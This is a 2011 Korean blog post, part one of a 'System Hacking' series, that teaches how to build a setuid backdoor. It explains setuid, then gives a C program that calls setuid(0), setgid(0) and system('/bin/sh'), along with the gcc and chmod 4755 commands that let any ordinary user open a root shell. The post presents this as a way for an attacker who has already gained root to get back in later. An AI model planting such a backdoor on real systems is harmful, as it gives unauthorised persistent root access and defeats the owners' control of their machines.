되는대로 살자

[System Hacking] Setuid를 이용한 백도어 만들기 (1) 본문

2009~2014/Hacking_System

[System Hacking] Setuid를 이용한 백도어 만들기 (1)

malu 2011. 7. 21. 16:39


백도어는 말 그대로 뒷문 이라는 뜻입니다. 원래는 시스템 관리자가 관리 보수 상의 편의를 위해 만들어 놓은 보안 구멍을 가르키는 말이지만, 흔히 해커가 루트 권한을 딴 후 나중에 쉽게 재침입 하기 위해 만들어 놓은 뒷문을 일컫는 데 쓰이곤 합니다. 
백도어의 종류도 여러가지고, 만드는 방법 역시 많지만 이 글에서는 제가 배운 setuid를 이용한 백도어 생성에 대해 소개하겠습니다. 

먼저, 이 방법에서 가장 핵심 개념인 setuid란 무엇일까요??

setuid모드란 파일을 어떤 사용자의 권한으로 실행할 지를 설정해 놓을 수 있는 모드입니다. 즉, setuid모드가 설정 되있는 파일을 실행 시키면, 그 팡리은 파일의 소유자 권한을 ㅗ실행됩니다. 만약 루트 사용자가 만든 setuid에 일반 사용자가 접근권한을 갖는다면, 일반 사용자가 그 파일을 실행하는 동안은 잠시나마 루트 권한을 갖게 되는거죠, 이 개념의 허점을 이용한 것이 바로 백도어 입니다. 

이제 이 백도어 파일을 맏느느 방법을 알아봅시다

먼저 vi를 통해 backdoor.c 라는 파일을 만들어 엽니다. 
#vi backdoor.c 
빈 파일이 열어졌다면 이제 다음 코드를 입력합니다. 

#include <stdio.h>
int main(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}
입력을 완료된 후 wq!로 빠져나옵니다. 이제 컴파일 해줍니다. 
#gcc -o backdoor backdoor.c
이 명령을 수행한 후 backdoor 라는 실행 파일이 생성되는 것을 확인합니다. 이제 이 파일을 setuid모드로 설정함과 동시에 루트 사용자 외에 일반 사용자도 이 파일에 접근할 수 있도록 접근 권한을 수정해 줍니다 .
#chmod 4755 backdoor
여기서 4는 setuid모드로 설정하는 숫자입니다. 그리고 755의 마지막 숫자 5가 바로 일반 사용자의 접근 권한을 의미하는데, x권한, 즉 실행권한이 있으므로 일반 사용자도 이 파일을 실행할 수 있게 됩니다. 

이제 백도어 생성이 끝났습니다. 일반사용자 모드로 접속했을 때 backdoor 파일을 실행하면 루트권한으로 상승됨을 확인 할 수 있습니다.